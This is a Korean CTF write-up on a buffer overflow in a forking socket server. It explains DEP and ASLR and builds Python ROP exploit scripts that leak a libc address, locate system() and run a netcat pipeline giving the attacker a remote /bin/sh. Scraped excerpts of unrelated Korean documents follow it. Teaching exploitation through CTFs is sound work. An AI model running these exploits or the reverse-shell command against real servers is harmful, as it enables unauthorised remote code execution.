simple ROP Exploit
|
|
- 보근 마
- 5 years ago
- Views:
Transcription
1 SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam
2 목차 1. 개요 Buffer OverFlow BOF 방어기법 DEP(Data Execution Prevention) ASLR(Address Space Layout Randomization) 실습 프로그램흐름확인 프로그램구조분석 BOF 가능여부확인 ASLR 환경에서 System() 함수주소확인하기 DEP 환경하에서 ROP 공격 공격소스합치기 마치며... 17
3 1. 개요 CTF 문제로나왔던프로그램을풀어봄으로서 BOF 기법및 BOF 의방어기법인 DEP 및 ASLR 에대하여알아보고, 위기법이적용된환경하에서 exploit 을하는방법에대하여자세히분석하고자합니다. 2. Buffer OverFlow 프로그램내에서함수가실행될때에는 call 0x401EF8( 함수의주소 ) 식으로함수를호출하여실행하게됩니다. call 로함수를호출하게되면 EIP( 다음명령어의위치 ) 와 EBP( 스택의 Base 주소 ) 를새로세팅하게됩니다. 이때프로그램이함수를종료한다음에원래의위치로돌아오기위해서는 EIP와 EBP의주소를저장해두어야원래의위치로돌아올수있으며, 돌아온이후에스택의내용을그대로사용할수있게됩니다. 때문에함수를호출하게되면 call구문에서자동적으로 EIP(ret 주소라부릅니다 ) 를, EBP의주소는함수내부에서스택에 PUSH하게됩니다. 이후함수내에서스택에데이터를저장하게되면자연스럽게 EIP 와 EBP 위에스택의내용이쌓이게되고프로그 램이그내용을사용하게되는것입니다.
4 만약스택에데이터를저장할때스택의크기보다많은양의데이터를저장하게된다면스택을넘어가게 (over flow) 되어저장된 EBP와 EIP의영역까지올라오게되어두레지스터의값을변경시키게됩니다. 이렇게되면함수가종료되고난뒤에 EIP주소를읽어들여리턴을해야하지만 RET주소가변경되어있기에두레지스터의값이변경되게되어결국프로그램의흐름을조작할수있게됩니다. 이를 Buffer OverFlow 공격이라부릅니다. 3. BOF 방어기법 3.1. DEP(Data Execution Prevention) BOF 등으로 EIP를조절하여쉘코드를스택에심어두고실행하는식의공격이발생하자이를막기위하여추가한방어기법입니다. 스택에실행권한을제거하여스택내부에쉘코드를삽입하여실행시키더라도권한이없어실행되지않아공격에실패하게하는기법입니다. 이기법이적용되었을경우에는프로세스맵을통하여스택을확인했을때실행권한의유무를확인할수있습니다. 이를우회하기위하여나온방법이 Return Oriented Programming으로서 EIP를조절하여쉘코드를삽입하는것이아닌프로그램이사용하기위하여올려둔라이브러리상에있는함수 (Gadget) 를실행하게함으로서 DEP를무력화하는방법이있습니다.
5 3.2. ASLR(Address Space Layout Randomization) 스택의실행권한을없애도 ROP등으로라이브러리에있는함수를사용하게되자이를어렵게하기위하여프로그램을실행할때마다스택, 라이브러리등의시작주소를랜덤하게바꾸어함수를사용하기어렵게만드는기법입니다. 이기법이적용되었을경우프로그램을실행할때마다계속라이브러리의주소가변경되는것을확인할수있습니다. 때문에 ROP공격을하기위해서는함수의정확한주소를알아야하는데주소가계속변경되기에공격의성공률은매우낮아지게됩니다. 이를우회하기위해서는 ASLR로바뀌지않는라이브러리를사용하거나, 프로그램이실행되었을때원하는함수의주소를알아낼수만있다면 ROP를통해공격이가능하게됩니다. 4. 실습 4.1. 프로그램흐름확인실습할프로그램은 test1이라는프로그램으로서간단한소켓통신을하는프로그램입니다. 우선프로그램을실행하게되면 란메시지만나온채로프로그램이대기하게됩니다. 프로그램을 Ida 를통해분석해보면
6 이렇게 7777 포트를열어두게되어있는것을확인이가능하며 실제로도 7777 포트를열어두고있는것을확인할수있습니다. 그럼 7777 포트에접속을시도해보면 접속이될경우서버측에서는접속이성공했다는메시지를출력하며클라이언트측에서메시지를보내도 아무런작업을하지않고프로그램이종료되는것을확인할수있습니다.
7 4.2. 프로그램구조분석 이프로그램에서 EIP 를변경하여흐름을조작하기위해서는 BOF 가가능한부분을찾아야합니다. 이를위하 여디버거를통하여프로그램을분석해봅니다. 우선프로그램이실행되면 socket() 를이용하여소켓을만들게되는데각각의인자는 AF_INET, SOCK_STREAM 으로서일반적인 TCP/IPv4 통신으로만들게됩니다. 그리고 7777(0x1e61) 포트와시스템의 IP 를 bind 하여소켓 을생성합니다. listen이후에클라이언트가접속했을경우 accept함수를이용하여 client_fd를만든후 fork를하여자식프로세스를생성하게됩니다. 자식프로세스가생성되게되면 break문에의해 while문밖으로나가 client_fd를인자로받는 func() 함수를실행하게되고, 부모프로세스의경우엔 client_fd를종료하여컨트롤권한을자식프로세스에게넘긴후 while문에의한대기상태를이어가게됩니다.
8 func() 함수에서는우선지역변수 v1을 srand() 함수를이용하여 time 값으로초기화하여랜덤한값인 v2를만듭니다. 이후서버측에메시지를출력하게한뒤클라이언트에 MSG : 를출력하게한뒤 0x400크기의메모리를만들어두고클라이언트에게서메시지를받게됩니다. 이때클라이언트에서받는값은 0x401 + (0x00 ~ 0x61) 의값으로서버퍼의크기인 0x400보다크게되어 BOF가발생할수있게됩니다 BOF 가능여부확인 BOF 의가능성이있는지확인하기위하여실제로프로그램에테스트를해봅니다. EIP의변화를확인하기위하여 gdb를 attach한상태에서프로그램을실행시킵니다. 이때 fork를통하여생성되는자식프로세스까지따라가기위하여 set follow-fork-mode child를, 클라이언트측에서메시지를받는부분을확인하기위해서 recv() 함수가있는부분인 0x 에브레이크포인트를건후프로그램을실행시킵니다.
9 telnet 으로접속한뒤입력할문자열을 0x400 보다긴길이를입력하여서버에전송을시도합니다. 우선클라이언트에서접속을시도하게되면 recv() 함수를실행하기전에브레이크포인트에정지하게됩니다. 이때 EIP를확인하게되면정상적인 EIP인 0x 란값을확인할수있습니다. 이상태에서프로그램을진행한뒤위와같이버퍼의크기보다큰값을받게되면 Segmentation Fault가발생하게되고이때 EIP를확인하면클라이언트에서입력한값인 A(0x41) 로차있음을확인할수있습니다.
10 스택역시확인해보면입력한값인 0x41 로가득차있는것을볼수있습니다. 이로서 BOF 를이용하여 EIP 를조작할수있음을확인할수있습니다 ASLR 환경에서 System() 함수주소확인하기일반적인 BOF공격인쉘코드삽입후실행하는경우는 DEP에의해불가능한상황이며 ROP를이용하여공격을시도해야합니다. 하지만 ASLR에의하여함수들의주소가계속변하게되어주소를특정하기가매우힘들어사실상공격이불가능하게됩니다. 하지만프로그램에서함수를사용하기위해서는한번라이브러리를로드해야하며이렇게한번로드한프로그램의주소는이후부터는변하지않고메모리상에올라오게됩니다. 이때그프로그램의주소를알아낼수있다면그함수를바탕으로 ROP공격을시도할수있게됩니다. system() 함수는 /bin/sh -c string를호출하여 string에지정된명령어를실행하는함수입니다. 따라서 system() 함수를호출할수만있다면공격자가원하는명령을이프로그램이지닌권한으로실행시킬수있게되어쉘코드를삽입하지않아도 BOF로 /bin/sh 를실행한것과비슷한동작을기대할수있습니다. ROP공격으로사용할함수는 system() 함수이지만프로그램을분석해보면 system() 함수는사용하고있지않습니다. 하지만라이브러리를로드할때함수를한번에로드하기때문에그라이브러리내에서함수들의 offset은모두동일할것입니다. 때문에임의의함수의주소와 system() 함수의주소의 offset 차를구할수있으면그 offset차를바탕으로 system() 함수의주소가어디에위치하는지파악이가능할것입니다. 임의의함수로선택할것은 recv() 함수이전에호출하는 libc라이브러리내의함수이면되기에 srand() 함수를 offset을구하는대상으로하겠습니다. srand() 함수의 plt 주소는 Ida에서확인이가능합니다 ( 파일의 elf구조상에고정되어있는값이므로변경되지않습니다 ). Ida에서확인한주소를호출하게되면실제메모리상에로드되는 srand() 함수의주소를알수있으며 system() 함수와의 offset 차를알게되면 system() 함수의실제메모리상의주소를알수있게됩니다. 프로그램이실행된뒤의함수의메모리상의주소는 gdb에서라이브러리가로드된뒤 p명령으로확인이가능합니다 ( 연산도가능합니다 ).
11 이로서 system() 함수는 srand() 함수로부터 만큼떨어져있음을확인할수있습니다 (offset 의길이는 libc 버전에따라다르기에각라이브러리별로따로구해야합니다 ). 이제서버에서 srand() 함수의위치를알수있다면 system() 함수의위치도계산할수있게되었습니다. 때문에 system() 함수의주소를알기위해서는서버로부터 srand() 함수의위치를받아와야만합니다. 이를위해서사용할방법은여러개가있을수있으나 send() 함수를이용하여서버에서 srand() 함수의위치를보내줄수있도록하겠습니다. send() 함수는 4 개의인자를가지는함수로서형태는 int send(int s, const void *msg, size_t len, int flags) 이 며순서대로소켓디스크립터, 전송할데이터, 데이터의길이, 전송플래그를가지게됩니다. 첫번째인자의경우기본적으로 Linux에서파일디스크립터로 1 ~ 3을 (stdin, stdout, stderr) 사용하고있기때문에 4번부터시작하게됩니다. 따라서아무런프로그램도사용하지않다고할때 4번으로두면되며 (gdb로 attach할경우에는 gdb에서 4개를사용하기에 8번으로하면됩니다 ), 전달할메시지는 srand_plt의값, 길이는적당히두고, 플래그의경우는 0으로두면됩니다 ( 플래그의자세한사항은인터넷을찾아보시기바랍니다 ). 따라서원래의 send() 함수로값을적당히넣어 EBP 값까지채운뒤 EIP 값에 call _send 의주소를넣고인자로 4 개의값을넣게되면오버플로우가발생하여 send 함수가동작, 클라이언트에 srand 함수의주소를보내주게 됩니다. 원활한공격을위하여 python script 를작성합니다. from socket import * import struct sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( (' ', 7777) ) srand_plt = "\x24\xa0\x04\x08" #srand_plt 의주소값 payload = "A" * 0x408 + "BBBB" # 버퍼를채우기위한구문 payload += "\x1d\x87\x04\x08" + "\x04\x00\x00\x00" + srand_plt + "\x04\x00\x00\x00" + "\x00\x00\x00\x00" #call _send를작성하여보내는코드 print sock.recv(1024) sock.send(payload) # 처음에오는 MSG : 를받기위한코드 # 작성한공격구문을서버로전송 srand_addr = struct.unpack("<l", sock.recv(4))[0] # 바이트코드를언팩하기위한구문
12 system_addr = srand_addr print "system() addr is %x" % system_addr #system() 함수와의차이를계산하는구문 # 구한 system() 함수의주소를출력 sock.close() 위스크립트를실행한결과는다음과같습니다. 이프로그램의경우서버에서 recv를할떄받아오는버퍼의크기가 rand() 함수에의해늘변하기에공격이성공하기도하고실패하기도합니다. 그리고서버프로그램은한번작동하게되면종료되지않고계속작동하기때문에 system() 함수의주소는변하지않게됩니다. 따라서 system() 함수의주소를파악할수있게되었고이를바탕으로 ROP공격이가능하게됩니다 DEP환경에서 ROP공격 ROP공격은공격자가쉘코드를삽입하여프로그램을조작하는것이아닌이미있는함수 (Gadget) 으로이동시켜원하는동작을하도록조작하는기법입니다. 따라서스택의실행권한이막혀있더라도실행권한이있는 ( 구조상있을수밖에없는 ) 프로그램에서로드한함수들을이용하여공격할수있는것입니다. 즉 BOF를이용, system() 함수의주소를호출하여함수를실행하는것이이번공격의목적입니다. 다만이프로그램의경우서버에서따로동작하는프로그램입니다. 때문에 system() 함수를이용하여 /bin/sh 를수행하게되면서버에서쉘이실행되기에공격하는측인클라이언트에서쉘에접근할수없게됩니다. 따라서 netcat을이용하여클라이언트측에서 2개의포트를열어서비스를준비한뒤파이프명령을이용하여쉘을실행하게되면한쪽포트로는명령을전달하고다른쪽포트로는결과를출력하게하는방식으로이용할수있게됩니다. 즉 system() 함수에넣을명령어는 nc /bin/sh nc 이며이는 nc 9090에서나온결과를 /bin/sh에전달하고또그결과를 9091에전달하는명령이되게됩니다. from socket import * sock = socket(af_inet, SOCK_STREAM, 0)
13 sock.connect( (' ', 7777) ) cmd = "nc /bin/sh nc " #system() 에서 실행할 명령어 payload = "A" * 0x408 + "BBBB" payload += system_addr + cmd # 오버플로우를위한문자열 #system() 함수와명령을실행할인자값 print sock.recv(1024) sock.send(payload) sock.close() 하지만함수를호출할때문자열이인자로들어갈경우에는그문자열이아닌그문자열의주소값이들어가야합니다. 하지만프로그램상에는공격에필요한문자열이존재하지않기때문에문자열의주소값을구할수없습니다. 따라서메모리에문자열을넣어두고그주소를구하여 system() 함수에서호출하여실행하여야합니다. 프로그램을처음에코딩할때에는메모리를할당하는것이자유로우나컴파일된프로그램에새로메모리를할당하는것은매우조심해야합니다. 만약프로그램을수행하는데중요한부분에메모리를할당할경우에프로그램이예기치않는동작을하며종료될수있기때문입니다. 그리고 ROP를이용하여할당된메모리를이용하기위해서는할당한메모리의주소는변하지않아야이용하기가편합니다. 하지만이프로그램은 ASLR에의하여메모리주소가계속변하기때문에고정되어있는메모리영역을찾아할당해야만합니다. 이를위해서실행되고있는프로세스 map 을확인해봅니다. 0x0804a000 ~ 0x0804b000 의메모리구간이쓰기권한이있는메모리인것을확인이가능합니다. 이부분은 이프로그램의.data 섹션이위치하는곳으로서항상같은곳에위치하는메모리구간입니다..data 섹션은메모리상에서전역변수등이초기화되어저장되는데이터공간으로서 SHT_ALLOC 및 SHT_WRITE Flag 로되어있어쓸수있는권한이있습니다. 그리고리눅스에서는메모리를로드할때페이지 단위로로드하기때문에위주소에서하위공간은비어있을가능성이크게됩니다.
14 따라서위의메모리주소에서끝에가까운위치에할당을하게되면프로그램의손상을최소화하면서원하는문자열을메모리에할당하는것이가능하게됩니다. 문자열을메모리에할당하는방법은여러가지가있을수있으나서버에서 recv() 함수로데이터를받게되면이데이터가버퍼에저장되기에 recv() 함수를이용하면문자열의할당이가능하게됩니다. 즉 system() 함수를이용하여쉘을여는방법을정리하면 1. system() 함수의주소를구한뒤, 2. recv() 함수를이용하여버퍼를할당하고, 3. 실행할명령어를 send() 로전달하여메모리에할당하고, 4. system() 함수를실행하여쉘을여는것입니다. recv() 함수의인자는 send() 함수와동일하기에 call _send를호출한방식을이용하여 recv() 함수를호출하게할수있습니다.
15 이때전송받을버퍼의크기는전달되는메시지보다크기만하면되므로크기는적당히처리해도됩니다. from socket import * sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( (' ', 7777) ) cmd = "nc /bin/sh nc " #system() 에서실행할명령어 recv_addr = "\x82\x87\x04\x08" #call _recv의주소값 buffer_addr = "\x10\xa9\x04\x08" #cmd를저장할메모리의주소값 payload = "A" * 0x408 + "BBBB" # 오버플로우를위한문자열 payload += recv_addr + "\x04\x00\x00\x00" + buffer_addr + "\x90\x00\x00\x00" + " \x00\x00\x00\x00" # 서버에서 recv() 함수를실행하도록하는코드 payload += system_addr + buffer_addr #system() 함수를실행하도록하는코드 print sock.recv(1024) sock.send(payload) sock.send(cmd) # MGS : 를받기위한명령어 # 오버플로우문자열을보내기위한 send() # 위 payload로인해실행된 recv() 에명령어를넣기위한 send() sock.close() 하지만이코드에서 recv() 함수를실행하고난뒤 system() 함수를실행해야하나이전에넣었던인자값들때문에 system() 함수를실행할수없게됩니다. 그렇기에이전의인자들을지워줘야하는데이때사용할수있는어셈블리어는 pop, ret 입니다. 이는함수의호출이후인자를없앨때사용하는구문으로서거의대부분의함수종료부분에들어있는구문입니다. pop의개수를처음 ROP구문에사용했던인자의수만큼맞추고사용하게되면이전에들어있던인자들을지울수있게되는것입니다. 하지만인자를지울수없기에다른함수를호출할수없는상황에서인자를지우는함수를호출하는것은불가능해보입니다. 이때사용할수있는부분이함수의 call 이후 return하는부분입니다. 기본적으로 call구문을사용하면다음명령을실행할 EIP값을 return인자로 push하고 jmp하게됩니다. 이때 recv() 함수을 call recv() 가아닌 jmp recv로하고 return값을 pop ret쪽으로넘겨주게되면인자를지우면서다음명령어도실행할수있게되는것입니다. 이렇게찾아낸 pop ret 구문을이용하여인자를없애고 system() 함수를실행할수있게됩니다. 그리고 system() 함수도 call 을이용하여호출한것이아니기때문에 return 주소가들어갈부분을넣어줘야합니다. 그리고서버에서함수처리에시간지연이생길수있으므로 sleep 으로잠깐대기하여동기화를실시하도 록합니다. from socket import * import time sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( (' ', 7777) ) cmd = "nc /bin/sh nc " #system() 에서실행할명령어
16 recv_addr = "\x82\x87\x04\x08" buffer_addr = "\x10\xa9\x04\x08" ppppr_addr = "\xcc\x89\x04\x08" system_addr = "\x60\xe2\x5e\xf7" #jmp _recv의주소값 #cmd를저장할메모리의주소값 #pop ret Gadget의주소값 # 앞의코드를이용하여얻은주소값 payload = "A" * 0x408 + "BBBB" # 오버플로우를위한문자열 payload += recv_addr + ppppr_addr + "\x04\x00\x00\x00" + buffer_addr + "\x90\x00\x00\x00" + "\x00\x00\x00\x00" # 바로 recv() 로 jmp하도록수정한코드 payload += system_addr + "RETN" + buffer_addr #ret주소까지넣은코드 print sock.recv(1024) sock.send(payload) time.sleep(0.1) sock.send(cmd) # 동기화를위해넣은구문 sock.close() 이렇게코드를작성한뒤공격자쪽에서 nc 를이용하여 9090, 9091 포트를열어둔상대로위스크립트를실 행하게되면 공격이성공하게되어위와같이서버에서접속하게되고 9090 포트에서입력한명령의결과를 9091 포트에 서보여주는것을확인할수있습니다 공격소스합치기 이프로그램의경우에는한번의공격이후에도프로그램이계속실행되고있어 1회의공격으로 system() 함수의주소를알아오고, 그것을바탕으로다시공격을하여쉘을획득할수있었습니다. 하지만한번의공격이후에프로그램이종료될경우에는 1회의공격만으로함수의주소를구함과동시에공격까지실행해야합니다. 즉이프로그램이 recv() 함수를 2번호출하도록해야하는데 pop ret Gadget을호출하였을때와비슷하게하면됩니다. 처음 send() 함수를이용하여 system() 함수의주소값을넘기고난뒤에 return 할주소에다음명령을받을수
17 있도록 recv() 함수를호출하게하면되는것입니다. 하지만 recv() 함수를임의로호출하기에는메모리할당의 문제가남습니다. 임의로메모리를할당하는것은최소화하는것이좋으며이미 system() 의명령을넣기위 하여할당하였기때문에새로할당하는것보다는이미있는 recv() 함수를사용하는것이좋습니다. 즉 func() 함수를호출하여내부에있는 recv() 함수를자연스럽게호출하게하는것이조금더나은방법입니다. 이렇게 하는방법을 double staged 되어있다고합니다. from socket import * import struct import time sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( (' ', 7777) ) cmd = "nc /bin/sh nc " #system() 에서 실행할 명령어 func_addr = "\xd4\x86\x04\x08" #Double stage를위한 func() 함수의주소 srand_plt = "\x24\xa0\x04\x08" #srand() 의 plt send_addr = "\x10\x86\x04\x08" #jmp _send의주소값 recv_addr = "\x82\x87\x04\x08" #jmp _recv의주소값 buffer_addr = "\x10\xa9\x04\x08" #cmd를저장할메모리의주소값 ppppr_addr = "\xcc\x89\x04\x08" #pop ret Gadget의주소값 client_fd = "\x04\x00\x00\x00" # 디스크립터값, 자주사용함으로변수화 payload = "A" * 0x408 + "BBBB" payload += send_addr + ppppr_addr + client_fd + srand_plt + "\x04\x00\x00\x00" + "\x00\x00\x00\x00" payload += func_addr + "RETN" + client_fd #func() 함수의인자인 fd도같이전송 print sock.recv(1024) sock.send(payload) srand_addr = struct.unpack("<l", sock.recv(4))[0] system_addr = srand_addr # 계산을위하여언팩 payload2 = "A" * 0x408 + "BBBB" #2번째공격에쓰일 payload payload2 += recv_addr + ppppr_addr + client_fd + buffer_addr + "\x90\x00\x00\x00" + "\x00\x00\x00\x00" payload2 += struct.pack("<l", system_addr) + "RETN" + buffer_addr # 다시바이트코드로패킹 print sock.recv(1024) sock.send(payload2) time.sleep(0.1) sock.send(cmd) sock.close() 그리고위스크립트를실행하게되면
18 이렇게 2 번 func() 함수가호출되어 MSG : 가 2 번도착하는것을확인할수있습니다. 그리고 nc 로열어둔포트를확인하게되면접속이성공적으로이루어졌음을확인할수있고만약프로그램 이 setuid 가설정되어있을경우엔그프로그램의권한으로쉘을획득하는것이가능하게됩니다 5. 마치며 CTF문제를풀어보며 ASLR환경하에서 system() 함수의주소를구하여 ROP방식으로 exploit을하는방법에대하여알아봤습니다. 공격자의공격을막기위하여구성한 ASLR과 DEP환경하에서도여전히 EIP조작에의한공격이가능함을확인할수있었고이를이용하여쉘을띄우는것역시가능했습니다. 이는실제상용프로그램일지라하더라도 BOF취약점이있는경우에비슷하게적용이가능한부분이기에프로그램의코딩시에취약점이이런발생하지않도록사용자의입력을받아들이는부분에있어예외처리를충분히해야할것입니다.
hlogin7
0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function
More information슬라이드 1
-Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationPowerPoint 프레젠테이션
System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소
More informationThe Pocket Guide to TCP/IP Sockets: C Version
얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More informationDeok9_Exploit Technique
Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security
More information2009년 상반기 사업계획
소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버
More informationhlogin2
0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS
More informationPowerPoint Template
BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는
More informationThe Pocket Guide to TCP/IP Sockets: C Version
1 목포해양대해양컴퓨터공학과 UDP 소켓 네트워크프로그램설계 4 장 2 목포해양대해양컴퓨터공학과 목차 제 4장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송신및수신 4.4 UDP 소켓의연결 3 목포해양대해양컴퓨터공학과 UDP 소켓의특징 UDP 소켓의특성 신뢰할수없는데이터전송방식 목적지에정확하게전송된다는보장이없음.
More information학습목차 2.1 다차원배열이란 차원배열의주소와값의참조
- Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]
More informationThe Pocket Guide to TCP/IP Sockets: C Version
인터넷프로토콜 03 장 도메인네임시스템과주소 패밀리 (IPv4-IPv6 서비스 ) 1 목차 제 3 장도메인네임시스템과주소패밀리 3.1 도메인네임주소를숫자주소로매핑하기 3.2 IP 버전에무관한주소-범용코드의작성 3.3 숫자주소에서도메인네임주소획득하기 2 getaddrinfo() 를활용한주소 범용 (Generic) 코드 주소범용 (Generic) 코드란? 주소버전
More information버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습
앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More information제1장 Unix란 무엇인가?
1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.
More information<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >
웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)
More information<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>
연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.
More informationMicrosoft Word - FunctionCall
Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack
More informationMicrosoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]
TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()
More informationMicrosoft Word - building the win32 shellcode 01.doc
Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode
More informationPowerPoint 프레젠테이션
Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용
More informationJAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각
JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.
More informationReusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn
Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link
More information목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드
취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...
More information금오공대 컴퓨터공학전공 강의자료
